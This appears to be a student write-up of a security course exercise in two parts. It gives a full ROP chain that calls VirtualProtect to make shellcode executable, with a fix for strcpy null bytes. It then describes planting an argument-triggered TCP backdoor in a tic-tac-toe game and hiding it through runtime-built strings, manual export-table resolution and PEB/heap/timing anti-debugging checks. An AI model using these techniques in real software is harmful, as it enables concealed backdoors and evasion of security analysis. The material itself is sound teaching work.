

Dry

1. The gadget 60 C3 (pushad; ret) might appear in a legitimate DLL due to how instruction bytes align in memory. For example, a common function epilogue like add esp, 0x60 followed by ret is encoded as 83 C4 60 C3. Although this is perfectly valid and intended, an automatic gadget search tool that scans raw bytes without proper disassembly might start reading from the wrong offset—such as the second byte—interpreting 60 C3 as a standalone gadget. This results in a false positive: the tool reports a pushad; ret gadget even though the original instructions were unrelated. These errors happen because gadget scanners look for valid instruction sequences in memory regardless of alignment or whether the code is actually reachable during normal execution.

2. How It Works

- **Positions 1–13:** Compute `[[0x70707070]+1B]` into eax, the shellcode address.
- **Positions 14–21:** Use gadgets and pushad to set up the stack with eax (shellcode address) as the return address and VirtualProtect as the target.
- **Positions 22–24:** Arguments for VirtualProtect: size, protection, and old protection pointer.
- **Execution:** pushad arranges the stack so ret calls VirtualProtect, which then returns to `[[0x70707070]+1B]`, executing the now-RWX shellcode.

ROP Chain Stack

Position	Value	Description
1	0x9ad9e713	pop ebx; pop ebp; ret
2	0x70707061	ebx = 0x70707070 - 0xF
3	X+4	ebp (stack alignment)
4	0x9ad9e706	xor eax, eax; ret
5	0x9ad9e700	add eax, ebx; pop ebx; pop ecx; pop ebx; ret
6	junk	Junk for pop ebx
7	junk	Junk for pop ecx
8	junk	Junk for pop ebx
9	0x9ad9e716	mov eax, [eax+0Fh]; ret
10	0x9ad9e709	mov ecx, eax; add ecx, 0Ah; mov eax, ecx; ret
11	0x9ad9e711	inc eax; ret
12	0x9ad9e711	inc eax; ret
13	0x9ad9e716	mov eax, [eax+0Fh]; ret
14	0x9ad9e714	pop ebp; ret
15	0x9ad9e702	ebp value
16	0x9ad9e703	pop ecx; pop ebx; ret
17	0x9ad9e71c	ecx = pushad gadget
18	VirtualProtect	ebx = VirtualProtect address
19	0x9ad9e71a	pop edi; ret
20	0x9ad9e71c	edi = pushad gadget
21	0x9ad9e71c	pushad; ret
22	0x00001000	dwSize (4KB)
23	0x40	flNewProtect (PAGE_EXECUTE_READWRITE)
24	0x00201010	lpflOldProtect (writable address)

3. The ROP chain failed because the strcpy used in the program stops copying when it encounters a null byte (0x00).

One of our arguments, 0x00001000 (for the memory size), begins with null bytes so only part of the chain was copied into memory.

As a result, VirtualProtect didn't receive all its arguments, and execution didn't proceed as planned.

Other values like 0x40000040 worked fine because they don't start with nulls, so strcpy copied them fully.

4. To fix our ROP chain, we will use the new gadget at address 0x6ad6e71d:
neg [esp + 0x4]; ret

This helps us avoid the null bytes in the size argument 0x00001000, which caused strcpy to stop copying in the previous attempt.

Instead of using that value directly, we will place 0xFFFFF000 (which is -0x1000) on the stack — a value that doesn't contain nulls.

Then, right before the call to VirtualProtect, we will use the neg gadget to flip it at runtime into the correct value: 0x00001000.

We will insert the gadget just before the size argument and replace 0x00001000 with 0xFFFFF000.

This way, the value is fixed during execution, and the ROP chain is copied and executed as intended.

By doing this, we solve the problem from the last question and ensure our ROP chain works properly.

Wet

Level 1

According to the assignment we must check for a specific argument for tictactoe.exe, so we added that in the main function.

If the specific argument “arg_YB3LTIW2BY” is sent, we then need to create an echo TCP server. We created it and made sure that it stopped when the message msg_U3SR3Z3BAU is being received and we then return “res_XIXO0J3TJN” as required and this gives us level 1:

```
--- Execution Results ---
```

```
[TEST 1/6]
```

```
PASSED: No TCP server without activation args.
```

```
[TEST 2/6]
```

```
PASSED: X wins scenario works correctly.
```

```
[TEST 3/6]
```

```
PASSED: Draw scenario works correctly.
```

```
[TEST 4/6]
```

```
PASSED: Backdoor activation works correctly.
```

```
[TEST 5/6]
```

```
PASSED: False backdoor activation test works correctly.
```

```
[TEST 6/6]
```

```
PASSED: No child processes spawned during activation.
```

```
Level 1 passed!
```

Level 2+3

Here we got a message regarding suspicious functions such as “send” and “recv” which we used for level 1.

We decided to remove the suspicious strings in the following manner:

```
char sendfn[16];
sendfn[0] = 's'; sendfn[1] = 'e'; sendfn[2] = 'n'; sendfn[3] = 'd';
sendfn[4] = '\\0';
```

This way the string would be formed only during runtime and not during compile time.

We did the same for libraries such as ws2_32.lib and we then managed to pass level 2 and 3:

```
[TEST 1/1]
```

```
Level 2 passed!
```

```
[TEST 1/1]
```

```
Level 3 passed!
```

Level 4

At level 4 we had to change our initial implementation which was using `GetProcAddress` at runtime to find the address of the functions. After thinking about possible solutions, we decided to implement a manual function address resolution.

For that we needed to find the address of each function in a DLL.

This took a very long time and we had to explore `winnt.h` and look for useful structs for handling a module.

We know that the modules that we want to use are MS DOS so we cast the module to the correct struct:

```
typedef struct _IMAGE_DOS_HEADER {           // DOS .EXE header
    WORD    e_magic;                         // Magic number
```

And check for the magic number to make sure the module is in MS-DOS.

We got stuck here and googled `GetProcAddress` implementation where we find this in github:

```
IMAGE_DATA_DIRECTORY.VirtualAddress -> IMAGE_DATA_DIRECTORY.VirtualAddress + IMAGE_DATA_DIRECTORY.Size
```

Which hints towards using `PIMAGE_EXPORT_DIRECTORY` struct as it has a `datadirectory` field and indeed in `datadirectory` field we find the virtual address:

```
typedef struct _IMAGE_DATA_DIRECTORY {
    DWORD VirtualAddress;
    DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
```

Now all that is left is to search for the function and return it:

```
// Get export tables
DWORD* nameArray = (DWORD*)((BYTE*)hMod + exportDir->AddressOfNames);
DWORD* addressArray = (DWORD*)((BYTE*)hMod + exportDir->AddressOfFunctions);
WORD* ordinalArray = (WORD*)((BYTE*)hMod + exportDir->AddressOfNameOrdinals);

// Search for function
for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
    char* name = (char*)((BYTE*)hMod + nameArray[i]);
    if (strcmp(name, funcName) == 0) {
        WORD ordinal = ordinalArray[i];
        DWORD funcAddress = addressArray[ordinal];
        return (FARPROC)((BYTE*)hMod + funcAddress);
    }
}
```

This made the server think there was no address resolution at runtime and we pass level 4:

```
[TEST 1/1]
PASSED: No address resolution was performed at runtime.

Level 4 passed!
```

Level 5+6

Here we got the error “failed: debugger detected suspicious activity”.

We figured we could create an anti-debugger type function to throw the debugger off.

We created a PEB struct after searching online:

C++

```
typedef struct _PEB {
    BYTE Reserved1[2];
    BYTE BeingDebugged;
    BYTE Reserved2[1];
    PVOID Reserved3[2];
    PPEB_LDR_DATA Ldr;
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
    PVOID Reserved4[3];
    PVOID AtlThunkSListPtr;
    PVOID Reserved5;
    ULONG Reserved6;
    PVOID Reserved7;
    ULONG Reserved8;
    ULONG AtlThunkSListPtr32;
    PVOID Reserved9[45];
    BYTE Reserved10[96];
    PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
    BYTE Reserved11[128];
    PVOID Reserved12[1];
    ULONG SessionId;
} PEB, *PPEB;
```

This is useful because we want to check if we are being debugged using the “BeingDebugged” field.

According to Wikipedia the PEB should be used internally in windows operation system to make those checks, which is why we decided to use it as well.

we manually got the PEB from the TEB:

```
typedef struct _TEB {
    PVOID Reserved1[12];
    PPEB ProcessEnvironmentBlock;
    PVOID Reserved2[399];
    BYTE Reserved3[1952];
    PVOID TlsSlots[64];
    BYTE Reserved4[8];
    PVOID Reserved5[26];
    PVOID ReservedForOle; // Windows 2000 only
    PVOID Reserved6[4];
    PVOID TlsExpansionSlots;
} TEB, *PTEB;
```

Using the correct offset and inline assembly which should be harder to detect.

Then we check if the process is being debugged, and the NtGlobalFlag:

Map / Anti-Debugging / NtGlobalFlag

The information that the system uses to determine how to create heap structures is stored at an undocumented location in the PEB at offset `0x68`. If the value at this location is `0x70`, we know that we are running in a debugger.

We find “heap flag” article containing the following information:

When a debugger is present, the ForceFlags field is set to a combination of these flags:

- `HEAP_TAIL_CHECKING_ENABLED (0x20)`
- `HEAP_FREE_CHECKING_ENABLED (0x40)`
- `HEAP_VALIDATE_PARAMETERS_ENABLED (0x40000000)`

Which means that if we are in a debugger there could be a heap tail so we also create two allocations on the heap and calculate the distance to see if the distance has any tail or not.

We also used `gettickcount`:

Map / Anti-Debugging / GetTickCount

This is typical timing function which is used to measure time needed to execute some function/instruction set. If the difference is more than fixed threshold, the process exits.

After using all of those tricks we placed our anti debug at the start of the TCP function which got us to pass level 5 and 6:

```
[TEST 1/2]
```

```
PASSED: No anti-debugging APIs found in binary.
```

```
[TEST 2/2]
```

```
PASSED: No anti-debugging APIs detected at runtime.
```

```
Level 6 passed!
```

```
-----SENSITIVE REBELS INFO-----
```

```
Archer: Wet the bed until age 17
```

```
Giant: Eats his own booger when he thinks no one is looking
```

```
Goblin: Has an anime body pillow hidden under his bunk
```

```
Wizard: Still asks his mom to comb his beard before big battles
```